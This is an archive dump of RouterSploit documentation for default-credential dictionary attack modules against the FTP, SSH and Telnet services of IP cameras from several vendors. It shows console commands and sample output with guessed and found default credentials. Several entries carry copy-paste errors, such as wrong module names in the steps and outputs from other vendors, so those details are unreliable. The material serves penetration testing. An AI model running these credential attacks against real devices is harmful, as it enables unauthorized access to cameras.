routersploit-master/docs/modules/creds/cameras/axis/000077500000000000000000000000001400750623600232045ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/axis/ftp_default_creds.md000066400000000000000000000024561400750623600272120ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Axis Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/axis/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/axis/ftp_default_creds rsf (Axis Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Axis Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/axis/ssh_default_creds.md000066400000000000000000000025311400750623600272100ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Axis Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/axis/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/axis/ssh_default_creds rsf (Axis Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Axis Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/axis/telnet_default_creds.md000066400000000000000000000025611400750623600277110ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Axis Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/axis/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/axis/telnet_default_creds rsf (Axis Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Axis Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/basler/000077500000000000000000000000001400750623600235105ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/basler/ftp_default_creds.md000066400000000000000000000024701400750623600275120ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Basler Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/basler/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/basler/ftp_default_creds rsf (Basler Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Basler Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/basler/ssh_default_creds.md000066400000000000000000000025511400750623600275160ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Basler Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/basler/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/brickcom/ssh_default_creds rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Brickcom Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/basler/telnet_default_creds.md000066400000000000000000000025721400750623600302170ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Basler Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/basler/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/dlink/telnet_default_creds rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/brickcom/000077500000000000000000000000001400750623600240315ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/brickcom/ftp_default_creds.md000066400000000000000000000025021400750623600300270ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Brickcom Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/brickcom/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/brickcom/ftp_default_creds rsf (Brickcom Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Brickcom Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/brickcom/ssh_default_creds.md000066400000000000000000000025551400750623600300430ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Brickcom Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/brickcom/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/brickcom/ssh_default_creds rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Brickcom Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/brickcom/telnet_default_creds.md000066400000000000000000000026051400750623600305350ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Brickcom Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/brickcom/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/brickcom/telnet_default_creds rsf (Brickcom Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Brickcom Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/canon/000077500000000000000000000000001400750623600233365ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/canon/ftp_default_creds.md000066400000000000000000000024631400750623600273420ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Canon Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/canon/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/canon/ftp_default_creds rsf (Canon Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Canon Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/canon/ssh_default_creds.md000066400000000000000000000025361400750623600273470ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Canon Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/canon/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/canon/ssh_default_creds rsf (Canon Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Canon Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/canon/telnet_default_creds.md000066400000000000000000000025661400750623600300500ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Canon Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/canon/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/canon/telnet_default_creds rsf (Canon Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Canon Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/cisco/000077500000000000000000000000001400750623600233405ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/cisco/ftp_default_creds.md000066400000000000000000000024631400750623600273440ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/cisco/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/cisco/ftp_default_creds rsf (Cisco Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/cisco/ssh_default_creds.md000066400000000000000000000025361400750623600273510ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/cisco/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/cisco/ssh_default_creds rsf (Cisco Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/cisco/telnet_default_creds.md000066400000000000000000000025661400750623600300520ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Cisco Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/cisco/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/cisco/telnet_default_creds rsf (Cisco Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Cisco Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/dlink/000077500000000000000000000000001400750623600233415ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/dlink/ftp_default_creds.md000066400000000000000000000024661400750623600273500ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/dlink/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/dlink/ftp_default_creds rsf (D-Link Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/dlink/ssh_default_creds.md000066400000000000000000000025411400750623600273460ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/dlink/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/dlink/ssh_default_creds rsf (D-Link Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/dlink/telnet_default_creds.md000066400000000000000000000025711400750623600300470ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against D-Link Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/dlink/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/dlink/telnet_default_creds rsf (D-Link Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/geovision/000077500000000000000000000000001400750623600242425ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/geovision/ftp_default_creds.md000066400000000000000000000025071400750623600302450ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against GeoVision Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/geovision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/geovision/ftp_default_creds rsf (GeoVision Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (GeoVision Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/geovision/ssh_default_creds.md000066400000000000000000000025621400750623600302520ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against GeoVision Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/geovision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/geovision/ssh_default_creds rsf (GeoVision Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (GeoVision Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/geovision/telnet_default_creds.md000066400000000000000000000026121400750623600307440ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against GeoVision Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/geovision/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/geovision/telnet_default_creds rsf (GeoVision Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (GeoVision Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/grandstream/000077500000000000000000000000001400750623600245475ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/grandstream/ftp_default_creds.md000066400000000000000000000025211400750623600305460ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Grandstream Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/grandstream/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/grandstream/ftp_default_creds rsf (Grandstream Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Grandstream Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/grandstream/ssh_default_creds.md000066400000000000000000000025741400750623600305620ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Grandstream Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/grandstream/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/grandstream/ssh_default_creds rsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Grandstream Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/grandstream/telnet_default_creds.md000066400000000000000000000026241400750623600312540ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Grandstream Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/grandstream/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/grandstream/telnet_default_creds rsf (Grandstream Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Grandstream Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/hikvision/000077500000000000000000000000001400750623600242435ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/hikvision/ftp_default_creds.md000066400000000000000000000025071400750623600302460ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Hikvision Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/hikvision/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If 